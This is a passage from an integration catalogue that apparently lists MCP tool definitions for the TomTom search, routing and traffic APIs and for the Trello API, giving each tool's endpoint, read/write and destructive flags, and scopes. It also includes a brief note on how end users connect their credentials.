tomtom_get_search_by_versionnumber_nearbysearch_by_ext (read) — Nearby Search via GET https://api.tomtom.com/search/{versionNumber}/nearbySearch/.{ext} GET /api/v1/tomtom/search/{versionNumber}/nearbySearch/.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_poicategories_by_ext (read) — POI Categories via GET https://api.tomtom.com/search/{versionNumber}/poiCategories.{ext} GET /api/v1/tomtom/search/{versionNumber}/poiCategories.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_poisearch_by_query_by_ext (read) — Points of Interest Search via GET https://api.tomtom.com/search/{versionNumber}/poiSearch/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/poiSearch/{query}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_premiumgeocode_by_query_by_ext (read) — Premium Geocode via GET https://api.tomtom.com/search/{versionNumber}/premiumGeocode/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/premiumGeocode/{query}.{ext}. Scopes: geocoding. tomtom_get_search_by_versionnumber_reversegeocode_by_position_by_ext (read) — Reverse Geocode via GET https://api.tomtom.com/search/{versionNumber}/reverseGeocode/{position}.{ext} GET /api/v1/tomtom/search/{versionNumber}/reverseGeocode/{position}.{ext}. Scopes: reverse_geocoding. tomtom_get_search_by_versionnumber_reversegeocode_crossstreet_by_position_by_ext (read) — Cross Street lookup via GET https://api.tomtom.com/search/{versionNumber}/reverseGeocode/crossStreet/{position}.{ext} GET /api/v1/tomtom/search/{versionNumber}/reverseGeocode/crossStreet/{position}.{ext}. Scopes: reverse_geocoding. tomtom_get_search_by_versionnumber_routedfilter_by_position_by_heading_by_ext (read) — Routed Filter via GET https://api.tomtom.com/search/{versionNumber}/routedFilter/{position}/{heading}.{ext} GET /api/v1/tomtom/search/{versionNumber}/routedFilter/{position}/{heading}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_routedsearch_by_query_by_position_by_heading_by_ext (read) — Routed Search via GET https://api.tomtom.com/search/{versionNumber}/routedSearch/{query}/{position}/{heading}.{ext} GET /api/v1/tomtom/search/{versionNumber}/routedSearch/{query}/{position}/{heading}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_s_by_query_by_ext (read) — Low bandwith Search via GET https://api.tomtom.com/search/{versionNumber}/s/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/s/{query}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_search_by_query_by_ext (read) — Fuzzy Search via GET https://api.tomtom.com/search/{versionNumber}/search/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/search/{query}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_structuredgeocode_by_ext (read) — Structured Geocode via GET https://api.tomtom.com/search/{versionNumber}/structuredGeocode.{ext} GET /api/v1/tomtom/search/{versionNumber}/structuredGeocode.{ext}. Scopes: geocoding. tomtom_get_snaptoroads_batch_by_versionnumber_by_batchid (read) — The service returns requested via Asynchronous Snap to Roads Submission endpoint data. via GET https://api.tomtom.com/snapToRoads/batch/{versionNumber}/{batchID} GET /api/v1/tomtom/snapToRoads/batch/{versionNumber}/{batchID}. Scopes: snap_to_roads. tomtom_get_snaptoroads_batch_by_versionnumber_by_batchid_status (read) — The service returns status of requested via Asynchronous Snap to Roads Submission endpoint data. via GET https://api.tomtom.com/snapToRoads/batch/{versionNumber}/{batchID}/status GET /api/v1/tomtom/snapToRoads/batch/{versionNumber}/{batchID}/status. Scopes: snap_to_roads. tomtom_get_snaptoroads_by_versionnumber (read) — The service matches the received points to the map road network and reconstructs the driven road. Input points are related to themselves and are a part of the same route from the same client. via GET https://api.tomtom.com/snapToRoads/{versionNumber} GET /api/v1/tomtom/snapToRoads/{versionNumber}. Scopes: snap_to_roads. tomtom_get_traffic_map_by_versionnumber_tile_flow_by_style_by_zoom_by_x_by_y_by_format (read) — The TomTom Traffic Raster Flow Tile service serves 256 x 256 pixel or 512 x 512 pixel tiles showing traffic flow. - All tiles use the same grid system. - Because the traffic tiles use transparent images, they can be layered on top of map tiles to create a compound display. - The Raster Flow tiles use colors to indicate either the speed of traffic on different road segments, or the difference between that speed and the free-flow speed on the road segment in question. via GET https://api.tomtom.com/traffic/map/{versionNumber}/tile/flow/{style}/{zoom}/{x}/{y}.{format} GET /api/v1/tomtom/traffic/map/4/tile/flow/{style}/{zoom}/{x}/{y}.png. Scopes: traffic. tomtom_get_traffic_map_by_versionnumber_tile_flow_by_type_by_zoom_by_x_by_y_by_format (read) — The Traffic Vector Flow Tiles API endpoint provides data on zoom levels ranging from 0 to 22. - For zoom level 0, the world is displayed on a single tile. - At zoom level 22, the world is divided into 244 tiles. See the Zoom Levels and Tile Grid. The service delivers traffic flow data packaged in a vector representation of squared sections called vector tiles. - Each tile includes a pre-defined collection of road shapes with traffic flow data. - The format of the tile is formally described using the protobuf schema. It shows either the current speed of traffic on different road segments, or the difference between current speed and the free-flow speed on the road segment. via GET https://api.tomtom.com/traffic/map/{versionNumber}/tile/flow/{type}/{zoom}/{x}/{y}.{format} GET /api/v1/tomtom/traffic/map/4/tile/flow/{type}/{zoom}/{x}/{y}.pbf. Scopes: traffic. tomtom_get_traffic_map_by_versionnumber_tile_incidents_by_style_by_zoom_by_x_by_y_by_format (read) — The TomTom Traffic Tile service serves 256 x 256 pixel or 512 x 512 pixel tiles showing traffic incidents. - All tiles use the same grid system. - Because the traffic tiles use transparent images, they can be layered on top of map tiles to create a compound display. - Traffic tiles render graphics to indicate traffic on the roads in the specified area. - The Traffic incidents tiles use colors to indicate the magnitude of delay associated with the particular incident on a road segment. - The magnitude of delay is determined based on the severity of traffic congestion associated with the particular incident. via GET https://api.tomtom.com/traffic/map/{versionNumber}/tile/incidents/{style}/{zoom}/{x}/{y}.{format} GET /api/v1/tomtom/traffic/map/{versionNumber}/tile/incidents/{style}/{zoom}/{x}/{y}.{format}. Scopes: traffic. tomtom_get_traffic_map_by_versionnumber_tile_incidents_by_zoom_by_x_by_y_by_format (read) — The Traffic Vector Incidents Tiles API provides data on zoom levels ranging from 0 to 22. For zoom level 0, the world is displayed on a single tile, while at zoom level 22, the world is divided into 244 tiles. The service delivers traffic incidents data packaged in a vector representation of squared sections called vector tiles. - Each tile includes a pre-defined collection of road shapes with traffic incidents data. - The format of a tile is formally described using the protobuf schema. via GET https://api.tomtom.com/traffic/map/{versionNumber}/tile/incidents/{zoom}/{x}/{y}.{format} GET /api/v1/tomtom/traffic/map/{versionNumber}/tile/incidents/{zoom}/{x}/{y}.{format}. Scopes: traffic. tomtom_get_traffic_services_by_versionnumber_flowsegmentdata_by_style_by_zoom_by_format (read) — This service provides information about the speeds and travel times of the road fragment closest to the given coordinates. - It is designed to work alongside the Flow Tiles to support clickable flow data visualizations. - With this API, the client side can connect any place in the map with flow data on the closest road and present it to the user. via GET https://api.tomtom.com/traffic/services/{versionNumber}/flowSegmentData/{style}/{zoom}/{format} GET /api/v1/tomtom/traffic/services/{versionNumber}/flowSegmentData/{style}/{zoom}/{format}. Scopes: traffic. tomtom_get_traffic_services_by_versionnumber_incidentdetails (read) — This is the new and improved version (5) of the Incident Details endpoint. We highly recommend that you use this new version 5 rather than the old version 4, which we marked as deprecated. The Incident Details service provides information on traffic incidents which are inside a given bounding box or whose geometry intersects with it. - The freshness of data is based on the provided Traffic Model ID . - The data obtained from this service can be used as standalone or as an extension to other Traffic Incident services. - In the second case, the same Traffic Model ID should be used when calling all services, in order to grant synchronization of data between APIs. via GET https://api.tomtom.com/traffic/services/{versionNumber}/incidentDetails GET /api/v1/tomtom/traffic/services/{versionNumber}/incidentDetails. Scopes: traffic. tomtom_get_traffic_services_by_versionnumber_incidentviewport_by_boundingbox_by_boundingzoom_by_overviewbox_by_overviewzoom_by_copyright_by_contenttype (read) — This service returns legal and technical information for the viewport described in the request. via GET https://api.tomtom.com/traffic/services/{versionNumber}/incidentViewport/{boundingBox}/{boundingZoom}/{overviewBox}/{overviewZoom}/{copyright}/{contentType} GET /api/v1/tomtom/traffic/services/{versionNumber}/incidentViewport/{boundingBox}/{boundingZoom}/{overviewBox}/{overviewZoom}/{copyright}/{contentType}. Scopes: traffic. tomtom_post_places_discover (write) — Delivers fully resolved location or discoverAction results based on complete input criteria. Use this endpoint for structured or fully specified inputs, such as suggestion/button interactions, or voice queries. Not intended for as-you-type suggestions (see `/suggest`). via POST https://api.tomtom.com/maps/orbis/places/discover POST /api/v1/tomtom/places/discover. Scopes: places_search. tomtom_post_places_suggest (write) — Delivers as-you-type suggestions for important or nearby locations and related discoverable concepts. Use this endpoint to provide a short list of contextualized, explainable suggestions relevant the current state of the user's query-typing session. Results are optimized for listing-based displays. via POST https://api.tomtom.com/maps/orbis/places/suggest POST /api/v1/tomtom/places/suggest. Scopes: places_search. tomtom_post_routing_by_versionnumber_calculatelongdistanceevroute_by_locations_by_contenttype (write) — Calculates a route between a given origin and destination, passing through waypoints if they are specified. via POST https://api.tomtom.com/routing/{versionNumber}/calculateLongDistanceEVRoute/{locations}/{contentType} POST /api/v1/tomtom/routing/{versionNumber}/calculateLongDistanceEVRoute/{locations}/{contentType}. Scopes: long_distance_ev_routing. tomtom_post_routing_by_versionnumber_calculatereachablerange_by_origin_by_contenttype (write) — Calculates a set of locations that can be reached from the origin point. POST method handles additionally parameters: supportingPoints , allowVignette , avoidVignette , avoidAreas . via POST https://api.tomtom.com/routing/{versionNumber}/calculateReachableRange/{origin}/{contentType} POST /api/v1/tomtom/routing/{versionNumber}/calculateReachableRange/{origin}/{contentType}. Scopes: routing. tomtom_post_routing_by_versionnumber_calculateroute_by_locations_by_contenttype (write) — Calculates a route between an origin and a destination. POST method handles additionally parameters: supportingPoints , allowVignette , avoidVignette , avoidAreas . via POST https://api.tomtom.com/routing/{versionNumber}/calculateRoute/{locations}/{contentType} POST /api/v1/tomtom/routing/{versionNumber}/calculateRoute/{locations}/{contentType}. Scopes: routing. tomtom_post_search_by_versionnumber_alongroute (write) — EV Search Along the Route via POST https://api.tomtom.com/search/{versionNumber}/alongRoute POST /api/v1/tomtom/search/{versionNumber}/alongRoute. Scopes: ev_search. tomtom_post_search_by_versionnumber_geometryfilter_by_ext (write) — Geometry Filter (POST) via POST https://api.tomtom.com/search/{versionNumber}/geometryFilter.{ext} POST /api/v1/tomtom/search/{versionNumber}/geometryFilter.{ext}. Scopes: search. tomtom_post_search_by_versionnumber_geometrysearch_by_query_by_ext (write) — Geometry Search (POST) via POST https://api.tomtom.com/search/{versionNumber}/geometrySearch/{query}.{ext} POST /api/v1/tomtom/search/{versionNumber}/geometrySearch/{query}.{ext}. Scopes: search. tomtom_post_search_by_versionnumber_routedfilter_by_position_by_heading_by_ext (write) — Routed Filter (POST) via POST https://api.tomtom.com/search/{versionNumber}/routedFilter/{position}/{heading}.{ext} POST /api/v1/tomtom/search/{versionNumber}/routedFilter/{position}/{heading}.{ext}. Scopes: search. tomtom_post_search_by_versionnumber_searchalongroute_by_query_by_ext (write) — Along Route Search via POST https://api.tomtom.com/search/{versionNumber}/searchAlongRoute/{query}.{ext} POST /api/v1/tomtom/search/{versionNumber}/searchAlongRoute/{query}.{ext}. Scopes: search. tomtom_post_snaptoroads_batch_by_versionnumber (write) — The service matches the received points to the map road network and reconstructs the driven road. Input points are related to themselves and are a part of the same route from the same client. via POST https://api.tomtom.com/snapToRoads/batch/{versionNumber} POST /api/v1/tomtom/snapToRoads/batch/{versionNumber}. Scopes: snap_to_roads. tomtom_post_snaptoroads_by_versionnumber (write) — The service matches the received points to the map road network and reconstructs the driven road. Input points are related to themselves and are a part of the same route from the same client. via POST https://api.tomtom.com/snapToRoads/{versionNumber} POST /api/v1/tomtom/snapToRoads/{versionNumber}. Scopes: snap_to_roads. tomtom_post_traffic_services_by_versionnumber_incidentdetails (write) — This is the new and improved version (5) of the Incident Details endpoint. We highly recommend that you use this new version 5 rather than the old version 4, which we marked as deprecated. The Incident Details service provides information on traffic incidents which are inside a given bounding box or whose geometry intersects with it. - The freshness of data is based on the provided Traffic Model ID . - The data obtained from this service can be used as standalone or as an extension to other Traffic Incident services. - In the second case, the same Traffic Model ID should be used when calling all services, in order to grant synchronization of data between APIs. via POST https://api.tomtom.com/traffic/services/{versionNumber}/incidentDetails POST /api/v1/tomtom/traffic/services/{versionNumber}/incidentDetails. Scopes: traffic. ================================================================================ ## Trello URL: https://www.agenticfabriq.com/integrations/trello Section: Integrated Tools Trello — 261 MCP tools Provider key: trello. Scopes: account, read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. trello_delete_actions_by_id (write, destructive) — Delete actions by id via DELETE /actions/{id} DELETE /api/v1/trello/actions/{id}. Scopes: write. trello_delete_actions_by_idaction_reactions_by_id (write, destructive) — Delete actions by idAction reactions by id via DELETE /actions/{idAction}/reactions/{id} DELETE /api/v1/trello/actions/{idAction}/reactions/{id}. Scopes: write. trello_delete_boards_by_id (write, destructive) — Delete boards by id via DELETE /boards/{id} DELETE /api/v1/trello/boards/{id}. Scopes: write. trello_delete_boards_by_id_boardplugins_by_idplugin (write, destructive) — Delete boards by id boardPlugins by idPlugin via DELETE /boards/{id}/boardPlugins/{idPlugin} DELETE /api/v1/trello/boards/{id}/boardPlugins/{idPlugin}. Scopes: write. trello_delete_boards_by_id_exports_by_idexport (write, destructive) — Delete boards by id exports by idExport via DELETE /boards/{id}/exports/{idExport} DELETE /api/v1/trello/boards/{id}/exports/{idExport}. Scopes: write. trello_delete_boards_by_id_members_by_idmember (write, destructive) — Delete boards by id members by idMember via DELETE /boards/{id}/members/{idMember} DELETE /api/v1/trello/boards/{id}/members/{idMember}. Scopes: write. trello_delete_cards_by_id (write, destructive) — Delete cards by id via DELETE /cards/{id} DELETE /api/v1/trello/cards/{id}. Scopes: write. trello_delete_cards_by_id_actions_by_idaction_comments (write, destructive) — Delete cards by id actions by idAction comments via DELETE /cards/{id}/actions/{idAction}/comments DELETE /api/v1/trello/cards/{id}/actions/{idAction}/comments. Scopes: write. trello_delete_cards_by_id_attachments_by_idattachment (write, destructive) — Delete cards by id attachments by idAttachment via DELETE /cards/{id}/attachments/{idAttachment} DELETE /api/v1/trello/cards/{id}/attachments/{idAttachment}. Scopes: write. trello_delete_cards_by_id_checkitem_by_idcheckitem (write, destructive) — Delete cards by id checkItem by idCheckItem via DELETE /cards/{id}/checkItem/{idCheckItem} DELETE /api/v1/trello/cards/{id}/checkItem/{idCheckItem}. Scopes: write. trello_delete_cards_by_id_checklists_by_idchecklist (write, destructive) — Delete cards by id checklists by idChecklist via DELETE /cards/{id}/checklists/{idChecklist} DELETE /api/v1/trello/cards/{id}/checklists/{idChecklist}. Scopes: write. trello_delete_cards_by_id_idlabels_by_idlabel (write, destructive) — Delete cards by id idLabels by idLabel via DELETE /cards/{id}/idLabels/{idLabel} DELETE /api/v1/trello/cards/{id}/idLabels/{idLabel}. Scopes: write. trello_delete_cards_by_id_idmembers_by_idmember (write, destructive) — Delete cards by id idMembers by idMember via DELETE /cards/{id}/idMembers/{idMember} DELETE /api/v1/trello/cards/{id}/idMembers/{idMember}. Scopes: write. trello_delete_cards_by_id_membersvoted_by_idmember (write, destructive) — Delete cards by id membersVoted by idMember via DELETE /cards/{id}/membersVoted/{idMember} DELETE /api/v1/trello/cards/{id}/membersVoted/{idMember}. Scopes: write. trello_delete_cards_by_id_stickers_by_idsticker (write, destructive) — Delete cards by id stickers by idSticker via DELETE /cards/{id}/stickers/{idSticker} DELETE /api/v1/trello/cards/{id}/stickers/{idSticker}. Scopes: write. trello_delete_checklists_by_id (write, destructive) — Delete checklists by id via DELETE /checklists/{id} DELETE /api/v1/trello/checklists/{id}. Scopes: write. trello_delete_checklists_by_id_checkitems_by_idcheckitem (write, destructive) — Delete checklists by id checkItems by idCheckItem via DELETE /checklists/{id}/checkItems/{idCheckItem} DELETE /api/v1/trello/checklists/{id}/checkItems/{idCheckItem}. Scopes: write. trello_delete_customfields_by_id (write, destructive) — Delete customFields by id via DELETE /customFields/{id} DELETE /api/v1/trello/customFields/{id}. Scopes: write. trello_delete_customfields_by_id_options_by_idcustomfieldoption (write, destructive) — Delete customFields by id options by idCustomFieldOption via DELETE /customFields/{id}/options/{idCustomFieldOption} DELETE /api/v1/trello/customFields/{id}/options/{idCustomFieldOption}. Scopes: write. trello_delete_enterprises_by_id_admins_by_idmember (write, destructive) — Delete enterprises by id admins by idMember via DELETE /enterprises/{id}/admins/{idMember} DELETE /api/v1/trello/enterprises/{id}/admins/{idMember}. Scopes: write. trello_delete_enterprises_by_id_organizations_by_idorg (write, destructive) — Delete enterprises by id organizations by idOrg via DELETE /enterprises/{id}/organizations/{idOrg} DELETE /api/v1/trello/enterprises/{id}/organizations/{idOrg}. Scopes: write. trello_delete_labels_by_id (write, destructive) — Delete labels by id via DELETE /labels/{id} DELETE /api/v1/trello/labels/{id}. Scopes: write. trello_delete_members_by_id_boardbackgrounds_by_idbackground (write, destructive) — Delete members by id boardBackgrounds by idBackground via DELETE /members/{id}/boardBackgrounds/{idBackground} DELETE /api/v1/trello/members/{id}/boardBackgrounds/{idBackground}. Scopes: account, write. trello_delete_members_by_id_boardstars_by_idstar (write, destructive) — Delete members by id boardStars by idStar via DELETE /members/{id}/boardStars/{idStar} DELETE /api/v1/trello/members/{id}/boardStars/{idStar}. Scopes: account, write. trello_delete_members_by_id_customboardbackgrounds_by_idbackground (write, destructive) — Delete members by id customBoardBackgrounds by idBackground via DELETE /members/{id}/customBoardBackgrounds/{idBackground} DELETE /api/v1/trello/members/{id}/customBoardBackgrounds/{idBackground}. Scopes: account, write. trello_delete_members_by_id_customstickers_by_idsticker (write, destructive) — Delete members by id customStickers by idSticker via DELETE /members/{id}/customStickers/{idSticker} DELETE /api/v1/trello/members/{id}/customStickers/{idSticker}. Scopes: account, write. trello_delete_members_by_id_savedsearches_by_idsearch (write, destructive) — Delete members by id savedSearches by idSearch via DELETE /members/{id}/savedSearches/{idSearch} DELETE /api/v1/trello/members/{id}/savedSearches/{idSearch}. Scopes: account, write. trello_delete_organizations_by_id (write, destructive) — Delete organizations by id via DELETE /organizations/{id} DELETE /api/v1/trello/organizations/{id}. Scopes: write. trello_delete_organizations_by_id_logo (write, destructive) — Delete organizations by id logo via DELETE /organizations/{id}/logo DELETE /api/v1/trello/organizations/{id}/logo. Scopes: write. trello_delete_organizations_by_id_members_by_idmember (write, destructive) — Delete organizations by id members by idMember via DELETE /organizations/{id}/members/{idMember} DELETE /api/v1/trello/organizations/{id}/members/{idMember}. Scopes: write. trello_delete_organizations_by_id_members_by_idmember_all (write, destructive) — Delete organizations by id members by idMember all via DELETE /organizations/{id}/members/{idMember}/all DELETE /api/v1/trello/organizations/{id}/members/{idMember}/all. Scopes: write. trello_delete_organizations_by_id_prefs_associateddomain (write, destructive) — Delete organizations by id prefs associatedDomain via DELETE /organizations/{id}/prefs/associatedDomain DELETE /api/v1/trello/organizations/{id}/prefs/associatedDomain. Scopes: write. trello_delete_organizations_by_id_prefs_orginviterestrict (write, destructive) — Delete organizations by id prefs orgInviteRestrict via DELETE /organizations/{id}/prefs/orgInviteRestrict DELETE /api/v1/trello/organizations/{id}/prefs/orgInviteRestrict. Scopes: write. trello_delete_organizations_by_id_tags_by_idtag (write, destructive) — Delete organizations by id tags by idTag via DELETE /organizations/{id}/tags/{idTag} DELETE /api/v1/trello/organizations/{id}/tags/{idTag}. Scopes: write. trello_delete_tokens_by_token (write, destructive) — Delete tokens by token via DELETE /tokens/{token} DELETE /api/v1/trello/tokens/{token}. Scopes: write. trello_delete_tokens_by_token_webhooks_by_idwebhook (write, destructive) — Delete tokens by token webhooks by idWebhook via DELETE /tokens/{token}/webhooks/{idWebhook} DELETE /api/v1/trello/tokens/{token}/webhooks/{idWebhook}. Scopes: write. trello_delete_webhooks_by_id (write, destructive) — Delete webhooks by id via DELETE /webhooks/{id} DELETE /api/v1/trello/webhooks/{id}. Scopes: write. trello_get_actions_by_id (read) — Get actions by id via GET /actions/{id} GET /api/v1/trello/actions/{id}. Scopes: read. trello_get_actions_by_id_board (read) — Get actions by id board via GET /actions/{id}/board GET /api/v1/trello/actions/{id}/board. Scopes: read. trello_get_actions_by_id_by_field (read) — Get actions by id by field via GET /actions/{id}/{field} GET /api/v1/trello/actions/{id}/{field}. Scopes: read. trello_get_actions_by_id_card (read) — Get actions by id card via GET /actions/{id}/card GET /api/v1/trello/actions/{id}/card. Scopes: read. trello_get_actions_by_id_list (read) — Get actions by id list via GET /actions/{id}/list GET /api/v1/trello/actions/{id}/list. Scopes: read. trello_get_actions_by_id_member (read) — Get actions by id member via GET /actions/{id}/member GET /api/v1/trello/actions/{id}/member. Scopes: read. trello_get_actions_by_id_membercreator (read) — Get actions by id memberCreator via GET /actions/{id}/memberCreator GET /api/v1/trello/actions/{id}/memberCreator. Scopes: read. trello_get_actions_by_id_organization (read) — Get actions by id organization via GET /actions/{id}/organization GET /api/v1/trello/actions/{id}/organization. Scopes: read. trello_get_actions_by_idaction_reactions (read) — Get actions by idAction reactions via GET /actions/{idAction}/reactions GET /api/v1/trello/actions/{idAction}/reactions. Scopes: read. trello_get_actions_by_idaction_reactions_by_id (read) — Get actions by idAction reactions by id via GET /actions/{idAction}/reactions/{id} GET /api/v1/trello/actions/{idAction}/reactions/{id}. Scopes: read. trello_get_actions_by_idaction_reactionssummary (read) — Get actions by idAction reactionsSummary via GET /actions/{idAction}/reactionsSummary GET /api/v1/trello/actions/{idAction}/reactionsSummary. Scopes: read. trello_get_applications_by_key_compliance (read) — Get applications by key compliance via GET /applications/{key}/compliance GET /api/v1/trello/applications/{key}/compliance. Scopes: read. trello_get_batch (read) — Get batch via GET /batch GET /api/v1/trello/batch. Scopes: read. trello_get_boards_by_boardid_actions (read) — Get boards by boardId actions via GET /boards/{boardId}/actions GET /api/v1/trello/boards/{boardId}/actions. Scopes: read. trello_get_boards_by_boardid_boardstars (read) — Get boards by boardId boardStars via GET /boards/{boardId}/boardStars GET /api/v1/trello/boards/{boardId}/boardStars. Scopes: read. trello_get_boards_by_id (read) — Get boards by id via GET /boards/{id} GET /api/v1/trello/boards/{id}. Scopes: read. trello_get_boards_by_id_boardplugins (read) — Get boards by id boardPlugins via GET /boards/{id}/boardPlugins GET /api/v1/trello/boards/{id}/boardPlugins. Scopes: read. trello_get_boards_by_id_by_field (read) — Get boards by id by field via GET /boards/{id}/{field} GET /api/v1/trello/boards/{id}/{field}. Scopes: read. trello_get_boards_by_id_cards (read) — Get boards by id cards via GET /boards/{id}/cards GET /api/v1/trello/boards/{id}/cards. Scopes: read. trello_get_boards_by_id_cards_by_filter (read) — Get boards by id cards by filter via GET /boards/{id}/cards/{filter} GET /api/v1/trello/boards/{id}/cards/{filter}. Scopes: read. trello_get_boards_by_id_checklists (read) — Get boards by id checklists via GET /boards/{id}/checklists GET /api/v1/trello/boards/{id}/checklists. Scopes: read. trello_get_boards_by_id_customfields (read) — Get boards by id customFields via GET /boards/{id}/customFields GET /api/v1/trello/boards/{id}/customFields. Scopes: read. trello_get_boards_by_id_exports_by_idexport (read) — Get boards by id exports by idExport via GET /boards/{id}/exports/{idExport} GET /api/v1/trello/boards/{id}/exports/{idExport}. Scopes: read. trello_get_boards_by_id_exports_by_idexport_download (read) — Get boards by id exports by idExport download via GET /boards/{id}/exports/{idExport}/download GET /api/v1/trello/boards/{id}/exports/{idExport}/download. Scopes: read. trello_get_boards_by_id_exports_mostrecent (read) — Get boards by id exports mostRecent via GET /boards/{id}/exports/mostRecent GET /api/v1/trello/boards/{id}/exports/mostRecent. Scopes: read. trello_get_boards_by_id_labels (read) — Get boards by id labels via GET /boards/{id}/labels GET /api/v1/trello/boards/{id}/labels. Scopes: read. trello_get_boards_by_id_lists (read) — Get boards by id lists via GET /boards/{id}/lists GET /api/v1/trello/boards/{id}/lists. Scopes: read. trello_get_boards_by_id_lists_by_filter (read) — Get boards by id lists by filter via GET /boards/{id}/lists/{filter} GET /api/v1/trello/boards/{id}/lists/{filter}. Scopes: read. trello_get_boards_by_id_members (read) — Get boards by id members via GET /boards/{id}/members GET /api/v1/trello/boards/{id}/members. Scopes: read. trello_get_boards_by_id_memberships (read) — Get boards by id memberships via GET /boards/{id}/memberships GET /api/v1/trello/boards/{id}/memberships. Scopes: read. trello_get_boards_by_id_plugins (read) — Get boards by id plugins via GET /boards/{id}/plugins GET /api/v1/trello/boards/{id}/plugins. Scopes: read. trello_get_cards_by_id (read) — Get cards by id via GET /cards/{id} GET /api/v1/trello/cards/{id}. Scopes: read. trello_get_cards_by_id_actions (read) — Get cards by id actions via GET /cards/{id}/actions GET /api/v1/trello/cards/{id}/actions. Scopes: read. trello_get_cards_by_id_attachments (read) — Get cards by id attachments via GET /cards/{id}/attachments GET /api/v1/trello/cards/{id}/attachments. Scopes: read. trello_get_cards_by_id_attachments_by_idattachment (read) — Get cards by id attachments by idAttachment via GET /cards/{id}/attachments/{idAttachment} GET /api/v1/trello/cards/{id}/attachments/{idAttachment}. Scopes: read. trello_get_cards_by_id_board (read) — Get cards by id board via GET /cards/{id}/board GET /api/v1/trello/cards/{id}/board. Scopes: read. trello_get_cards_by_id_by_field (read) — Get cards by id by field via GET /cards/{id}/{field} GET /api/v1/trello/cards/{id}/{field}. Scopes: read. trello_get_cards_by_id_checkitem_by_idcheckitem (read) — Get cards by id checkItem by idCheckItem via GET /cards/{id}/checkItem/{idCheckItem} GET /api/v1/trello/cards/{id}/checkItem/{idCheckItem}. Scopes: read. trello_get_cards_by_id_checkitemstates (read) — Get cards by id checkItemStates via GET /cards/{id}/checkItemStates GET /api/v1/trello/cards/{id}/checkItemStates. Scopes: read. trello_get_cards_by_id_checklists (read) — Get cards by id checklists via GET /cards/{id}/checklists GET /api/v1/trello/cards/{id}/checklists. Scopes: read. trello_get_cards_by_id_customfielditems (read) — Get cards by id customFieldItems via GET /cards/{id}/customFieldItems GET /api/v1/trello/cards/{id}/customFieldItems. Scopes: read. trello_get_cards_by_id_list (read) — Get cards by id list via GET /cards/{id}/list GET /api/v1/trello/cards/{id}/list. Scopes: read. trello_get_cards_by_id_members (read) — Get cards by id members via GET /cards/{id}/members GET /api/v1/trello/cards/{id}/members. Scopes: read. trello_get_cards_by_id_membersvoted (read) — Get cards by id membersVoted via GET /cards/{id}/membersVoted GET /api/v1/trello/cards/{id}/membersVoted. Scopes: read. trello_get_cards_by_id_plugindata (read) — Get cards by id pluginData via GET /cards/{id}/pluginData GET /api/v1/trello/cards/{id}/pluginData. Scopes: read. trello_get_cards_by_id_stickers (read) — Get cards by id stickers via GET /cards/{id}/stickers GET /api/v1/trello/cards/{id}/stickers. Scopes: read. trello_get_cards_by_id_stickers_by_idsticker (read) — Get cards by id stickers by idSticker via GET /cards/{id}/stickers/{idSticker} GET /api/v1/trello/cards/{id}/stickers/{idSticker}. Scopes: read. trello_get_checklists_by_id (read) — Get checklists by id via GET /checklists/{id} GET /api/v1/trello/checklists/{id}. Scopes: read. trello_get_checklists_by_id_board (read) — Get checklists by id board via GET /checklists/{id}/board GET /api/v1/trello/checklists/{id}/board. Scopes: read. trello_get_checklists_by_id_by_field (read) — Get checklists by id by field via GET /checklists/{id}/{field} GET /api/v1/trello/checklists/{id}/{field}. Scopes: read. trello_get_checklists_by_id_cards (read) — Get checklists by id cards via GET /checklists/{id}/cards GET /api/v1/trello/checklists/{id}/cards. Scopes: read. trello_get_checklists_by_id_checkitems (read) — Get checklists by id checkItems via GET /checklists/{id}/checkItems GET /api/v1/trello/checklists/{id}/checkItems. Scopes: read. trello_get_checklists_by_id_checkitems_by_idcheckitem (read) — Get checklists by id checkItems by idCheckItem via GET /checklists/{id}/checkItems/{idCheckItem} GET /api/v1/trello/checklists/{id}/checkItems/{idCheckItem}. Scopes: read. trello_get_customfields_by_id (read) — Get customFields by id via GET /customFields/{id} GET /api/v1/trello/customFields/{id}. Scopes: read. trello_get_customfields_by_id_options (read) — Get customFields by id options via GET /customFields/{id}/options GET /api/v1/trello/customFields/{id}/options. Scopes: read. trello_get_customfields_by_id_options_by_idcustomfieldoption (read) — Get customFields by id options by idCustomFieldOption via GET /customFields/{id}/options/{idCustomFieldOption} GET /api/v1/trello/customFields/{id}/options/{idCustomFieldOption}. Scopes: read. trello_get_emoji (read) — Get emoji via GET /emoji GET /api/v1/trello/emoji. Scopes: read. trello_get_enterprises_by_id (read) — Get enterprises by id via GET /enterprises/{id} GET /api/v1/trello/enterprises/{id}. Scopes: read. trello_get_enterprises_by_id_admins (read) — Get enterprises by id admins via GET /enterprises/{id}/admins GET /api/v1/trello/enterprises/{id}/admins. Scopes: read. trello_get_enterprises_by_id_auditlog (read) — Get enterprises by id auditlog via GET /enterprises/{id}/auditlog GET /api/v1/trello/enterprises/{id}/auditlog. Scopes: read. trello_get_enterprises_by_id_claimableorganizations (read) — Get enterprises by id claimableOrganizations via GET /enterprises/{id}/claimableOrganizations GET /api/v1/trello/enterprises/{id}/claimableOrganizations. Scopes: read. trello_get_enterprises_by_id_members (read) — Get enterprises by id members via GET /enterprises/{id}/members GET /api/v1/trello/enterprises/{id}/members. Scopes: read. trello_get_enterprises_by_id_members_by_idmember (read) — Get enterprises by id members by idMember via GET /enterprises/{id}/members/{idMember} GET /api/v1/trello/enterprises/{id}/members/{idMember}. Scopes: read. trello_get_enterprises_by_id_members_query (read) — Get enterprises by id members query via GET /enterprises/{id}/members/query GET /api/v1/trello/enterprises/{id}/members/query. Scopes: read. 